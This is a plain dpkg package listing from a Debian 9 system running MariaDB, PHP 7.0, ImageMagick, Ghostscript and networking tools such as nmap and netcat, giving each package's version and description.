ii apt-listchanges 3.10 all package change history notification tool
ii apt-utils 1.4.9 amd64 package management related utility programs
ii base-files 9.9+deb9u8 amd64 Debian base system miscellaneous files
ii base-passwd 3.5.43 amd64 Debian base system master password and group files
ii bash 4.4-5 amd64 GNU Bourne Again SHell
ii bash-completion 1:2.1-4.3 all programmable completion for the bash shell
ii bind9-host 1:9.10.3.dfsg.P4-12.3+deb9u4 amd64 Version of 'host' bundled with BIND 9.X
ii bsdmainutils 9.0.12+nmu1 amd64 collection of more utilities from FreeBSD
ii bsdutils 1:2.29.2-1+deb9u1 amd64 basic utilities from 4.4BSD-Lite
ii busybox 1:1.22.0-19+b3 amd64 Tiny utilities for small and embedded systems
ii bzip2 1.0.6-8.1 amd64 high-quality block-sorting file compressor - utilities
ii ca-certificates 20161130+nmu1+deb9u1 all Common CA certificates
ii console-setup 1.164 all console font and keymap setup program
ii console-setup-linux 1.164 all Linux specific part of console-setup
ii coreutils 8.26-3 amd64 GNU core utilities
ii cpio 2.11+dfsg-6 amd64 GNU cpio -- a program to manage archives of files
ii cron 3.0pl1-128+deb9u1 amd64 process scheduling daemon
ii curl 7.52.1-5+deb9u9 amd64 command line tool for transferring data with URL syntax
ii dash 0.5.8-2.4 amd64 POSIX-compliant shell
ii dbus 1.10.26-0+deb9u1 amd64 simple interprocess messaging system (daemon and utilities)
ii debconf 1.5.61 all Debian configuration management system
ii debconf-i18n 1.5.61 all full internationalization support for debconf
ii debian-archive-keyring 2017.5 all GnuPG archive keys of the Debian archive
ii debian-faq 8.1 all Debian Frequently Asked Questions
ii debianutils 4.8.1.1 amd64 Miscellaneous utilities specific to Debian
ii default-mysql-client 1.0.2 all MySQL database client binaries (metapackage)
ii default-mysql-server 1.0.2 all MySQL database server binaries and system database setup (metapackage)
ii dh-python 2.20170125 all Debian helper tools for packaging Python libraries and applications
ii dictionaries-common 1.27.2 all spelling dictionaries - common utilities
ii diffutils 1:3.5-3 amd64 File comparison utilities
ii discover 2.1.2-7.1+deb9u1 amd64 hardware identification system
ii discover-data 2.2013.01.11 all Data lists for Discover hardware detection system
ii distro-info-data 0.36 all information about the distributions' releases (data files)
ii dmidecode 3.0-4 amd64 SMBIOS/DMI table decoder
```

```
ii dmsetup 2:1.02.137-2 amd64 Linux Kernel Device Mapper userspace library
ii doc-debian 6.4 all Debian Project documentation and other documents
ii dpkg 1.18.25 amd64 Debian package management system
ii e2fslibs 1.43.4-2 amd64 ext2/ext3/ext4 file system libraries
ii e2fsprogs 1.43.4-2 amd64 ext2/ext3/ext4 file system utilities
ii eject 2.1.5+deb1+cvs20081104-13.2 amd64 ejects CDs and operates CD-Changers under Linux
ii emacsen-common 2.0.8 all Common facilities for all emacsen
ii file 1:5.30-1+deb9u2 amd64 Recognize the type of data in a file using "magic" numbers
ii findutils 4.6.0+git+20161106-2 amd64 utilities for finding files--find, xargs
ii fontconfig 2.11.0-6.7+b1 amd64 generic font configuration library - support binaries
ii fontconfig-config 2.11.0-6.7 all generic font configuration library - configuration
ii fonts-dejavu-core 2.37-1 all Vera font family derivate with additional characters
ii fonts-droid-fallback 1:6.0.1r16-1.1 all handheld device font with extensive style and language support (fallback)
ii fonts-noto-mono 20161116-1 all "No Tofu" monospaced font family with large Unicode coverage
ii galera-3 25.3.19-2 amd64 Replication framework for transactional applications
ii gawk 1:4.1.4+dfsg-1 amd64 GNU awk, a pattern scanning and processing language
ii gcc-6-base 6.3.0-18+deb9u1 amd64 GCC, the GNU Compiler Collection (base package)
ii geoip-database 20170512-1 all IP lookup command line tools that use the GeoIP library (country database)
ii gettext-base 0.19.8.1-2 amd64 GNU Internationalization utilities for the base system
ii ghostscript 9.26a~dfsg-0+deb9u2 amd64 interpreter for the PostScript language and for PDF
ii gnupg 2.1.18-8~deb9u4 amd64 GNU privacy guard - a free PGP replacement
ii gnupg-agent 2.1.18-8~deb9u4 amd64 GNU privacy guard - cryptographic agent
ii gpgv 2.1.18-8~deb9u4 amd64 GNU privacy guard - signature verification tool
ii grep 2.27-2 amd64 GNU grep, egrep and fgrep
ii groff-base 1.22.3-9 amd64 GNU troff text-formatting system (base system components)
ii grub-common 2.02~beta3-5+deb9u1 amd64 GRand Unified Bootloader (common files)
ii grub-pc 2.02~beta3-5+deb9u1 amd64 GRand Unified Bootloader, version 2 (PC/BIOS version)
ii grub-pc-bin 2.02~beta3-5+deb9u1 amd64 GRand Unified Bootloader, version 2 (PC/BIOS binaries)
ii grub2-common 2.02~beta3-5+deb9u1 amd64 GRand Unified Bootloader (common files for version 2)
ii gsfonts 1:8.11+urwcyr1.0.7~pre44-4.3 all Fonts for the Ghostscript interpreter(s)
ii gzip 1.6-5+b1 amd64 GNU compression utilities
ii hdparm 9.51+ds-1+deb9u1 amd64 tune hard disk parameters for high performance
ii hicolor-icon-theme 0.15-1 all default fallback theme for FreeDesktop.org icon themes
ii hostname 3.18+b1 amd64 utility to set/show the host name or domain name
ii iamerican 3.4.00-5 all American English dictionary for ispell (standard version)
ii ibritish 3.4.00-5 all British English dictionary for ispell (standard version)
ii ienglish-common 3.4.00-5 all Common files for British and American ispell dictionaries
ii ifupdown 0.8.19 amd64 high level tools to configure network interfaces
ii imagemagick 8:6.9.7.4+dfsg-11+deb9u6 amd64 image manipulation programs -- binaries
ii imagemagick-6-common 8:6.9.7.4+dfsg-11+deb9u6 all image manipulation programs -- infrastructure
ii imagemagick-6.q16 8:6.9.7.4+dfsg-11+deb9u6 amd64 image manipulation programs -- quantum depth Q16
ii init 1.48 amd64 metapackage ensuring an init system is installed
ii init-system-helpers 1.48 all helper tools for all init systems
ii initramfs-tools 0.130 all generic modular initramfs generator (automation)
ii initramfs-tools-core 0.130 all generic modular initramfs generator (core tools)
ii installation-report 2.62 all system installation report
ii iproute2 4.9.0-1+deb9u1 amd64 networking and traffic control tools
ii iptables 1.6.0+snapshot20161117-6 amd64 administration tools for packet filtering and NAT
ii iputils-ping 3:20161105-1 amd64 Tools to test the reachability of network hosts
ii isc-dhcp-client 4.3.5-3+deb9u1 amd64 DHCP client for automatically obtaining an IP address
ii isc-dhcp-common 4.3.5-3+deb9u1 amd64 common manpages relevant to all of the isc-dhcp packages
ii iso-codes 3.75-1 all ISO language, territory, currency, script codes and their translations
ii ispell 3.4.00-5 amd64 International Ispell (an interactive spelling corrector)
ii kbd 2.0.3-2+b1 amd64 Linux console font and keytable utilities
ii keyboard-configuration 1.164 all system-wide keyboard preferences
ii klibc-utils 2.0.4-9 amd64 small utilities built with klibc for early boot
ii kmod 23-2 amd64 tools for managing Linux kernel modules
ii krb5-locales 1.15-1+deb9u1 all internationalization support for MIT Kerberos
ii laptop-detect 0.13.8 amd64 system chassis type checker
ii less 481-2.1 amd64 pager program similar to more
ii libacl1 2.2.52-3+b1 amd64 Access control list shared library
ii libaio1 0.3.110-3 amd64 Linux kernel AIO access library - shared library
ii libapache2-mod-php7.0 7.0.33-0+deb9u3 amd64 server-side, HTML-embedded scripting language (Apache 2 module)
ii libapparmor1 2.11.0-3+deb9u2 amd64 changehat AppArmor library
ii libapr1 1.5.2-5 amd64 Apache Portable Runtime Library
ii libaprutil1 1.5.4-3 amd64 Apache Portable Runtime Utility Library
ii libaprutil1-dbd-sqlite3 1.5.4-3 amd64 Apache Portable Runtime Utility Library - SQLite3 Driver
ii libaprutil1-ldap 1.5.4-3 amd64 Apache Portable Runtime Utility Library - LDAP Driver
ii libapt-inst2.0 1.4.9 amd64 deb package format runtime library
ii libapt-pkg5.0 1.4.9 amd64 package management runtime library
ii libassuan0 2.4.3-2 amd64 IPC library for the GnuPG components
ii libattr1 1:2.4.47-2+b2 amd64 Extended attribute shared library
ii libaudit-common 1:2.6.7-2 all Dynamic library for security auditing - common files
ii libaudit1 1:2.6.7-2 amd64 Dynamic library for security auditing
ii libavahi-client3 0.6.32-2 amd64 Avahi client library
ii libavahi-common-data 0.6.32-2 amd64 Avahi common data files
ii libavahi-common3 0.6.32-2 amd64 Avahi common library
ii libbind9-140 1:9.10.3.dfsg.P4-12.3+deb9u4 amd64 BIND9 Shared Library used by BIND
ii libblas-common 3.7.0-2 amd64 Dependency package for all BLAS implementations
ii libblas3 3.7.0-2 amd64 Basic Linear Algebra Reference implementations, shared library
ii libblkid1 2.29.2-1+deb9u1 amd64 block device ID library
ii libbsd0 0.8.3-1 amd64 utility functions from BSD systems - shared library
ii libbz2-1.0 1.0.6-8.1 amd64 high-quality block-sorting file compressor library - runtime
ii libc-bin 2.24-11+deb9u4 amd64 GNU C Library: Binaries
ii libc-l10n 2.24-11+deb9u4 all GNU C Library: localization files
ii libc6 2.24-11+deb9u4 amd64 GNU C Library: Shared libraries
ii libcairo2 1.14.8-1 amd64 Cairo 2D vector graphics library
ii libcap-ng0 0.7.7-3+b1 amd64 An alternate POSIX capabilities library
ii libcap2 1:2.25-1 amd64 POSIX 1003.1e capabilities (library)
ii libcgi-fast-perl 1:2.12-1 all CGI subclass for work with FCGI
ii libcgi-pm-perl 4.35-1 all module for Common Gateway Interface applications
ii libclass-isa-perl 0.36-5 all report the search path for a class's ISA tree
ii libcomerr2 1.43.4-2 amd64 common error description library
ii libconfig-inifiles-perl 2.94-1 all Read .ini-style configuration files
ii libcryptsetup4 2:1.7.3-4 amd64 disk encryption support - shared library
ii libcups2 2.2.1-8+deb9u3 amd64 Common UNIX Printing System(tm) - Core library
ii libcupsfilters1 1.11.6-3 amd64 OpenPrinting CUPS Filters - Shared library
ii libcupsimage2 2.2.1-8+deb9u3 amd64 Common UNIX Printing System(tm) - Raster image library
ii libcurl3 7.52.1-5+deb9u9 amd64 easy-to-use client-side URL transfer library (OpenSSL flavour)
```

```
ii libcurl3-gnutls 7.52.1-5+deb9u9 amd64 easy-to-use client-side URL transfer library (GnuTLS flavour)
ii libdatrie1 0.2.10-4+b1 amd64 Double-array trie library
ii libdb5.3 5.3.28-12+deb9u1 amd64 Berkeley v5.3 Database Libraries [runtime]
ii libdbd-mysql-perl 4.041-2 amd64 Perl5 database interface to the MariaDB/MySQL database
ii libdbi-perl 1.636-1+b1 amd64 Perl Database Interface (DBI)
ii libdbus-1-3 1.10.26-0+deb9u1 amd64 simple interprocess messaging system (library)
ii libdebconfclient0 0.227 amd64 Debian Configuration Management System (C-implementation library)
ii libdevmapper1.02.1 2:1.02.137-2 amd64 Linux Kernel Device Mapper userspace library
ii libdiscover2 2.1.2-7.1+deb9u1 amd64 hardware identification library
ii libdjvulibre-text 3.5.27.1-7 all Linguistic support files for libdjvulibre
ii libdjvulibre21 3.5.27.1-7 amd64 Runtime support for the DjVu image format
ii libdns-export162 1:9.10.3.dfsg.P4-12.3+deb9u4 amd64 Exported DNS Shared Library
ii libdns162 1:9.10.3.dfsg.P4-12.3+deb9u4 amd64 DNS Shared Library used by BIND
ii libedit2 3.1-20160903-3 amd64 BSD editline and history libraries
ii libelf1 0.168-1 amd64 library to read and write ELF files
ii libencode-locale-perl 1.05-1 all utility to determine the locale encoding
ii libestr0 0.1.10-2 amd64 Helper functions for handling strings (lib)
ii libexpat1 2.2.0-2+deb9u1 amd64 XML parsing C library - runtime library
ii libfastjson4 0.99.4-1 amd64 fast json library for C
ii libfcgi-perl 0.78-2 amd64 helper module for FastCGI
ii libfdisk1 2.29.2-1+deb9u1 amd64 fdisk partitioning library
ii libffi6 3.2.1-6 amd64 Foreign Function Interface library runtime
ii libfftw3-double3 3.3.5-3 amd64 Library for computing Fast Fourier Transforms - Double precision
ii libfontconfig1 2.11.0-6.7+b1 amd64 generic font configuration library - runtime
ii libfreetype6 2.6.3-3.2 amd64 FreeType 2 font engine, shared library files
ii libfuse2 2.9.7-1+deb9u2 amd64 Filesystem in Userspace (library)
ii libgcc1 1:6.3.0-18+deb9u1 amd64 GCC support library
ii libgcrypt20 1.7.6-2+deb9u3 amd64 LGPL Crypto library - runtime library
ii libgd3 2.2.4-2+deb9u4 amd64 GD Graphics Library
ii libgdbm3 1.8.3-14 amd64 GNU dbm database routines (runtime version)
ii libgdk-pixbuf2.0-0 2.36.5-2+deb9u2 amd64 GDK Pixbuf library
ii libgdk-pixbuf2.0-common 2.36.5-2+deb9u2 all GDK Pixbuf library - data files
ii libgeoip1 1.6.9-4 amd64 non-DNS IP-to-country resolver library
ii libgfortran3 6.3.0-18+deb9u1 amd64 Runtime library for GNU Fortran applications
ii libglib2.0-0 2.50.3-2 amd64 GLib library of C routines
ii libglib2.0-data 2.50.3-2 all Common files for GLib library
ii libgmp10 2:6.1.2+dfsg-1 amd64 Multiprecision arithmetic library
ii libgnutls30 3.5.8-5+deb9u4 amd64 GNU TLS library - main runtime library
ii libgomp1 6.3.0-18+deb9u1 amd64 GCC OpenMP (GOMP) support library
ii libgpg-error0 1.26-2 amd64 library for common error values and messages in GnuPG components
ii libgraphite2-3 1.3.10-1 amd64 Font rendering engine for Complex Scripts -- library
ii libgs9 9.26a~dfsg-0+deb9u2 amd64 interpreter for the PostScript language and for PDF - Library
ii libgs9-common 9.26a~dfsg-0+deb9u2 all interpreter for the PostScript language and for PDF - common files
ii libgssapi-krb5-2 1.15-1+deb9u1 amd64 MIT Kerberos runtime libraries - krb5 GSS-API Mechanism
ii libharfbuzz0b 1.4.2-1 amd64 OpenType text shaping engine (shared library)
ii libhogweed4 3.3-1+b2 amd64 low level cryptographic library (public-key cryptos)
ii libhtml-parser-perl 3.72-3 amd64 collection of modules that parse HTML text documents
ii libhtml-tagset-perl 3.20-3 all Data tables pertaining to HTML
ii libhtml-template-perl 2.95-2 all module for using HTML templates with Perl
ii libhttp-date-perl 6.02-1 all module of date conversion routines
ii libhttp-message-perl 6.11-1 all perl interface to HTTP style messages
ii libicu57 57.1-6+deb9u2 amd64 International Components for Unicode
ii libidn11 1.33-1 amd64 GNU Libidn library, implementation of IETF IDN specifications
ii libidn2-0 0.16-1+deb9u1 amd64 Internationalized domain names (IDNA2008) library
ii libijs-0.35 0.35-12 amd64 IJS raster image transport protocol: shared library
ii libilmbase12 2.2.0-12 amd64 several utility libraries from ILM used by OpenEXR
ii libio-html-perl 1.001-1 all open an HTML file with automatic charset detection
ii libip4tc0 1.6.0+snapshot20161117-6 amd64 netfilter libip4tc library
ii libip6tc0 1.6.0+snapshot20161117-6 amd64 netfilter libip6tc library
ii libiptc0 1.6.0+snapshot20161117-6 amd64 netfilter libiptc library
ii libisc-export160 1:9.10.3.dfsg.P4-12.3+deb9u4 amd64 Exported ISC Shared Library
ii libisc160 1:9.10.3.dfsg.P4-12.3+deb9u4 amd64 ISC Shared Library used by BIND
ii libisccc140 1:9.10.3.dfsg.P4-12.3+deb9u4 amd64 Command Channel Library used by BIND
ii libisccfg140 1:9.10.3.dfsg.P4-12.3+deb9u4 amd64 Config File Handling Library used by BIND
ii libjbig0 2.1-3.1+b2 amd64 JBIGkit libraries
ii libjbig2dec0 0.13-4.1 amd64 JBIG2 decoder library - shared libraries
ii libjemalloc1 3.6.0-9.1 amd64 general-purpose scalable concurrent malloc(3) implementation
ii libjpeg62-turbo 1:1.5.1-2 amd64 libjpeg-turbo JPEG runtime library
ii libjxr-tools 1.1-6+b1 amd64 JPEG-XR lib - command line apps
ii libjxr0 1.1-6+b1 amd64 JPEG-XR lib - libraries
ii libk5crypto3 1.15-1+deb9u1 amd64 MIT Kerberos runtime libraries - Crypto Library
ii libkeyutils1 1.5.9-9 amd64 Linux Key Management Utilities (library)
ii libklibc 2.0.4-9 amd64 minimal libc subset for use with initramfs
ii libkmod2 23-2 amd64 libkmod shared library
ii libkrb5-3 1.15-1+deb9u1 amd64 MIT Kerberos runtime libraries
ii libkrb5support0 1.15-1+deb9u1 amd64 MIT Kerberos runtime libraries - Support library
ii libksba8 1.3.5-2 amd64 X.509 and CMS support library
ii liblcms2-2 2.8-4+deb9u1 amd64 Little CMS 2 color management library
ii libldap-2.4-2 2.4.44+dfsg-5+deb9u2 amd64 OpenLDAP libraries
ii libldap-common 2.4.44+dfsg-5+deb9u2 all OpenLDAP common files for libraries
ii liblinear3 2.1.0+dfsg-2 amd64 Library for Large Linear Classification
ii liblocale-gettext-perl 1.07-3+b1 amd64 module using libc functions for internationalization in Perl
ii liblockfile-bin 1.14-1+b1 amd64 support binaries for and cli utilities based on liblockfile
ii liblogging-stdlog0 1.0.5-2+b2 amd64 easy to use and lightweight logging library
ii liblognorm5 2.0.1-1.1+b1 amd64 log normalizing library
ii liblqr-1-0 0.4.2-2+b2 amd64 converts plain array images into multi-size representation
ii libltdl7 2.4.6-2 amd64 System independent dlopen wrapper for GNU libtool
ii liblua5.2-0 5.2.4-1.1+b2 amd64 Shared library for the Lua interpreter version 5.2
ii liblua5.3-0 5.3.3-1 amd64 Shared library for the Lua interpreter version 5.3
ii liblwp-mediatypes-perl 6.02-1 all module to guess media type for a file or a URL
ii liblwres141 1:9.10.3.dfsg.P4-12.3+deb9u4 amd64 Lightweight Resolver Library used by BIND
ii liblz4-1 0.0~r131-2+b1 amd64 Fast LZ compression algorithm library - runtime
ii liblzma5 5.2.2-1.2+b1 amd64 XZ-format compression library
ii libmagic-mgc 1:5.30-1+deb9u2 amd64 File type determination library using "magic" numbers (compiled magic file)
ii libmagic1 1:5.30-1+deb9u2 amd64 Recognize the type of data in a file using "magic" numbers - library
ii libmagickcore-6.q16-3 8:6.9.7.4+dfsg-11+deb9u6 amd64 low-level image manipulation library -- quantum depth Q16
ii libmagickcore-6.q16-3-extra 8:6.9.7.4+dfsg-11+deb9u6 amd64 low-level image manipulation library - extra codecs (Q16)
ii libmagickwand-6.q16-3 8:6.9.7.4+dfsg-11+deb9u6 amd64 image manipulation library -- quantum depth Q16
ii libmariadbclient18 10.1.37-0+deb9u1 amd64 MariaDB database client library
```

```
ii libmnl0 1.0.4-2 amd64 minimalistic Netlink communication library
ii libmount1 2.29.2-1+deb9u1 amd64 device mounting library
ii libmpdec2 2.4.2-1 amd64 library for decimal floating point arithmetic (runtime library)
ii libmpfr4 3.1.5-1 amd64 multiple precision floating-point computation
ii libncurses5 6.0+20161126-1+deb9u2 amd64 shared libraries for terminal handling
ii libncursesw5 6.0+20161126-1+deb9u2 amd64 shared libraries for terminal handling (wide character support)
ii libnetfilter-conntrack3 1.0.6-2 amd64 Netfilter netlink-conntrack library
ii libnetpbm10 2:10.0-15.3+b2 amd64 Graphics conversion tools shared libraries
ii libnettle6 3.3-1+b2 amd64 low level cryptographic library (symmetric and one-way cryptos)
ii libnewt0.52 0.52.19-1+b1 amd64 Not Erik's Windowing Toolkit - text mode windowing with slang
ii libnfnetlink0 1.0.1-3 amd64 Netfilter netlink library
ii libnghttp2-14 1.18.1-1 amd64 library implementing HTTP/2 protocol (shared library)
ii libnpth0 1.3-1 amd64 replacement for GNU Pth using system threads
ii libopenexr22 2.2.0-11+b1 amd64 runtime files for the OpenEXR image library
ii libopenjp2-7 2.1.2-1.1+deb9u3 amd64 JPEG 2000 image compression/decompression library
ii libp11-kit0 0.23.3-2 amd64 library for loading and coordinating access to PKCS#11 modules - runtime
ii libpam-modules 1.1.8-3.6 amd64 Pluggable Authentication Modules for PAM
ii libpam-modules-bin 1.1.8-3.6 amd64 Pluggable Authentication Modules for PAM - helper binaries
ii libpam-runtime 1.1.8-3.6 all Runtime support for the PAM library
ii libpam-systemd 232-25+deb9u11 amd64 system and service manager - PAM module
ii libpam0g 1.1.8-3.6 amd64 Pluggable Authentication Modules library
ii libpango-1.0-0 1.40.5-1 amd64 Layout and rendering of internationalized text
ii libpangocairo-1.0-0 1.40.5-1 amd64 Layout and rendering of internationalized text
ii libpangoft2-1.0-0 1.40.5-1 amd64 Layout and rendering of internationalized text
ii libpaper-utils 1.1.24+nmu5 amd64 library for handling paper characteristics (utilities)
ii libpaper1 1.1.24+nmu5 amd64 library for handling paper characteristics
ii libpcap0.8 1.8.1-3 amd64 system interface for user-level packet capture
ii libpci3 1:3.5.2-1 amd64 Linux PCI Utilities (shared library)
ii libpcre3 2:8.39-3 amd64 Old Perl 5 Compatible Regular Expression Library - runtime files
ii libperl5.24 5.24.1-3+deb9u5 amd64 shared Perl library
ii libpipeline1 1.4.1-2 amd64 pipeline manipulation library
ii libpixman-1-0 0.34.0-1 amd64 pixel-manipulation library for X and cairo
ii libpng16-16 1.6.28-1 amd64 PNG library - runtime (version 1.6)
ii libpopt0 1.16-10+b2 amd64 lib for parsing cmdline parameters
ii libprocps6 2:3.3.12-3+deb9u1 amd64 library for accessing process information from /proc
ii libpsl5 0.17.0-3 amd64 Library for Public Suffix List (shared libraries)
ii libpython-stdlib 2.7.13-2 amd64 interactive high-level object-oriented language (default python version)
ii libpython2.7-minimal 2.7.13-2+deb9u3 amd64 Minimal subset of the Python language (version 2.7)
ii libpython2.7-stdlib 2.7.13-2+deb9u3 amd64 Interactive high-level object-oriented language (standard library, version 2.7)
ii libpython3-stdlib 3.5.3-1 amd64 interactive high-level object-oriented language (default python3 version)
ii libpython3.5-minimal 3.5.3-1+deb9u1 amd64 Minimal subset of the Python language (version 3.5)
ii libpython3.5-stdlib 3.5.3-1+deb9u1 amd64 Interactive high-level object-oriented language (standard library, version 3.5)
ii libquadmath0 6.3.0-18+deb9u1 amd64 GCC Quad-Precision Math Library
ii libreadline5 5.2+dfsg-3+b1 amd64 GNU readline and history libraries, run-time libraries
ii libreadline7 7.0-3 amd64 GNU readline and history libraries, run-time libraries
ii librtmp1 2.4+20151223.gitfa8646d.1-1+b1 amd64 toolkit for RTMP streams (shared library)
ii libsasl2-2 2.1.27~101-g0780600+dfsg-3 amd64 Cyrus SASL - authentication abstraction library
ii libsasl2-modules 2.1.27~101-g0780600+dfsg-3 amd64 Cyrus SASL - pluggable authentication modules
ii libsasl2-modules-db 2.1.27~101-g0780600+dfsg-3 amd64 Cyrus SASL - pluggable authentication modules (DB)
ii libseccomp2 2.3.1-2.1+deb9u1 amd64 high level interface to Linux seccomp filter
ii libselinux1 2.6-3+b3 amd64 SELinux runtime shared libraries
ii libsemanage-common 2.6-2 all Common files for SELinux policy management libraries
ii libsemanage1 2.6-2 amd64 SELinux policy management library
ii libsepol1 2.6-2 amd64 SELinux library for manipulating binary security policies
ii libsigsegv2 2.10-5 amd64 Library for handling page faults in a portable way
ii libslang2 2.3.1-5 amd64 S-Lang programming library - runtime version
ii libsmartcols1 2.29.2-1+deb9u1 amd64 smart column output alignment library
ii libsqlite3-0 3.16.2-5+deb9u1 amd64 SQLite 3 shared library
ii libss2 1.43.4-2 amd64 command-line interface parsing library
ii libssh2-1 1.7.0-1+deb9u1 amd64 SSH2 client-side library
ii libssl1.0.2 1.0.2r-1~deb9u1 amd64 Secure Sockets Layer toolkit - shared libraries
ii libssl1.1 1.1.0j-1~deb9u1 amd64 Secure Sockets Layer toolkit - shared libraries
ii libstdc++6 6.3.0-18+deb9u1 amd64 GNU Standard C++ Library v3
ii libswitch-perl 2.17-2 all switch statement for Perl
ii libsystemd0 232-25+deb9u11 amd64 systemd utility library
ii libtasn1-6 4.10-1.1+deb9u1 amd64 Manage ASN.1 structures (runtime)
ii libterm-readkey-perl 2.37-1 amd64 perl module for simple terminal control
ii libtext-charwidth-perl 0.04-7+b5 amd64 get display widths of characters on the terminal
ii libtext-iconv-perl 1.7-5+b4 amd64 converts between character sets in Perl
ii libtext-wrapi18n-perl 0.06-7.1 all internationalized substitute of Text::Wrap
ii libthai-data 0.1.26-1 all Data files for Thai language support library
ii libthai0 0.1.26-1 amd64 Thai language support library
ii libtiff5 4.0.8-2+deb9u4 amd64 Tag Image File Format (TIFF) library
ii libtimedate-perl 2.3000-2 all collection of modules to manipulate date/time information
ii libtinfo5 6.0+20161126-1+deb9u2 amd64 shared low-level terminfo library for terminal handling
ii libudev1 232-25+deb9u11 amd64 libudev shared library
ii libunistring0 0.9.6+really0.9.3-0.1 amd64 Unicode string library for C
ii liburi-perl 1.71-1 all module to manipulate and access URI strings
ii libusb-0.1-4 2:0.1.12-30 amd64 userspace USB programming library
ii libusb-1.0-0 2:1.0.21-1 amd64 userspace USB programming library
ii libustr-1.0-1 1.0.4-6 amd64 Micro string library: shared library
ii libuuid1 2.29.2-1+deb9u1 amd64 Universally Unique ID library
ii libwebp6 0.5.2-1 amd64 Lossy compression of digital photographic images.
ii libwmf0.2-7 0.2.8.4-10.6 amd64 Windows metafile conversion library
ii libwrap0 7.6.q-26 amd64 Wietse Venema's TCP wrappers library
ii libx11-6 2:1.6.4-3+deb9u1 amd64 X11 client-side library
ii libx11-data 2:1.6.4-3+deb9u1 all X11 client-side library
ii libxapian30 1.4.3-2+deb9u3 amd64 Search engine library
ii libxau6 1:1.0.8-1 amd64 X11 authorisation library
ii libxcb-render0 1.12-1 amd64 X C Binding, render extension
ii libxcb-shm0 1.12-1 amd64 X C Binding, shm extension
ii libxcb1 1.12-1 amd64 X C Binding
ii libxdmcp6 1:1.1.2-3 amd64 X11 Display Manager Control Protocol library
ii libxext6 2:1.3.3-1+b2 amd64 X11 miscellaneous extension library
ii libxml2 2.9.4+dfsg1-2.2+deb9u2 amd64 GNOME XML library
ii libxmuu1 2:1.1.2-2 amd64 X11 miscellaneous micro-utility library
ii libxpm4 1:3.5.12-1 amd64 X11 pixmap library
ii libxrender1 1:0.9.10-1 amd64 X Rendering Extension client library
ii libxslt1.1 1.1.29-2.1 amd64 XSLT 1.0 processing library - runtime library
```

```
ii libxtables12 1.6.0+snapshot20161117-6 amd64 netfilter xtables library
ii linux-base 4.5 all Linux image base package
ii linux-image-4.9.0-8-amd64 4.9.144-3.1 amd64 Linux 4.9 for 64-bit PCs
ii linux-image-amd64 4.9+80+deb9u6 amd64 Linux for 64-bit PCs (meta-package)
ii locales 2.24-11+deb9u4 all GNU C Library: National Language (locale) data [support]
ii login 1:4.4-4.1 amd64 system login tools
ii logrotate 3.11.0-0.1 amd64 Log rotation utility
ii lsb-base 9.20161125 all Linux Standard Base init script functionality
ii lsb-release 9.20161125 all Linux Standard Base version reporting utility
ii lsof 4.89+dfsg-0.1 amd64 Utility to list open files
ii man-db 2.7.6.1-2 amd64 on-line manual pager
ii manpages 4.10-2 all Manual pages about using a GNU/Linux system
ii mariadb-client-10.1 10.1.37-0+deb9u1 amd64 MariaDB database client binaries
ii mariadb-client-core-10.1 10.1.37-0+deb9u1 amd64 MariaDB database core client binaries
ii mariadb-common 10.1.37-0+deb9u1 all MariaDB common metapackage
ii mariadb-server-10.1 10.1.37-0+deb9u1 amd64 MariaDB database server binaries
ii mariadb-server-core-10.1 10.1.37-0+deb9u1 amd64 MariaDB database core server files
ii mawk 1.3.3-17+b3 amd64 a pattern scanning and text processing language
ii mime-support 3.60 all MIME files 'mime.types' & 'mailcap', and support programs
ii mount 2.29.2-1+deb9u1 amd64 tools for mounting and manipulating filesystems
ii multiarch-support 2.24-11+deb9u4 amd64 Transitional package to ensure multiarch compatibility
ii mysql-client 5.5.9999+default amd64 MySQL database client binaries [transitional]
ii mysql-common 5.8+1.0.2 all MySQL database common files, e.g. /etc/mysql/my.cnf
ii mysql-server 5.5.9999+default amd64 MySQL database server binaries and system database setup [transitional]
ii nano 2.7.4-1 amd64 small, friendly text editor inspired by Pico
ii ncurses-base 6.0+20161126-1+deb9u2 all basic terminal type definitions
ii ncurses-bin 6.0+20161126-1+deb9u2 amd64 terminal-related programs and man pages
ii ncurses-term 6.0+20161126-1+deb9u2 all additional terminal type definitions
ii ndiff 7.40-1 all The Network Mapper - result compare utility
ii netbase 5.4 all Basic TCP/IP networking system
ii netcat-traditional 1.10-41+b1 amd64 TCP/IP swiss army knife
ii netpbm 2:10.0-15.3+b2 amd64 Graphics conversion tools between image formats
ii nmap 7.40-1 amd64 The Network Mapper
ii openssh-client 1:7.4p1-10+deb9u6 amd64 secure shell (SSH) client, for secure access to remote machines
ii openssh-server 1:7.4p1-10+deb9u6 amd64 secure shell (SSH) server, for secure access from remote machines
ii openssh-sftp-server 1:7.4p1-10+deb9u6 amd64 secure shell (SSH) sftp server module, for SFTP access from remote machines
ii openssl 1.1.0j-1~deb9u1 amd64 Secure Sockets Layer toolkit - cryptographic utility
ii os-prober 1.76~deb9u1 amd64 utility to detect other OSes on a set of drives
ii passwd 1:4.4-4.1 amd64 change and administer password and group data
ii pciutils 1:3.5.2-1 amd64 Linux PCI Utilities
ii perl 5.24.1-3+deb9u5 amd64 Larry Wall's Practical Extraction and Report Language
ii perl-base 5.24.1-3+deb9u5 amd64 minimal Perl system
ii perl-modules-5.24 5.24.1-3+deb9u5 all Core Perl modules
ii php 1:7.0+49 all server-side, HTML-embedded scripting language (default)
ii php-common 1:49 all Common files for PHP packages
ii php-curl 1:7.0+49 all CURL module for PHP [default]
ii php-gd 1:7.0+49 all GD module for PHP [default]
ii php-mysql 1:7.0+49 all MySQL module for PHP [default]
ii php-xml 1:7.0+49 all DOM, SimpleXML, WDDX, XML, and XSL module for PHP [default]
ii php7.0 7.0.33-0+deb9u3 all server-side, HTML-embedded scripting language (metapackage)
ii php7.0-cli 7.0.33-0+deb9u3 amd64 command-line interpreter for the PHP scripting language
ii php7.0-common 7.0.33-0+deb9u3 amd64 documentation, examples and common module for PHP
ii php7.0-curl 7.0.33-0+deb9u3 amd64 CURL module for PHP
ii php7.0-gd 7.0.33-0+deb9u3 amd64 GD module for PHP
ii php7.0-json 7.0.33-0+deb9u3 amd64 JSON module for PHP
ii php7.0-mysql 7.0.33-0+deb9u3 amd64 MySQL module for PHP
ii php7.0-opcache 7.0.33-0+deb9u3 amd64 Zend OpCache module for PHP
ii php7.0-readline 7.0.33-0+deb9u3 amd64 readline module for PHP
ii php7.0-xml 7.0.33-0+deb9u3 amd64 DOM, SimpleXML, WDDX, XML, and XSL module for PHP
ii pinentry-curses 1.0.0-2 amd64 curses-based PIN or pass-phrase entry dialog for GnuPG
ii poppler-data 0.4.7-8 all encoding data for the poppler PDF rendering library
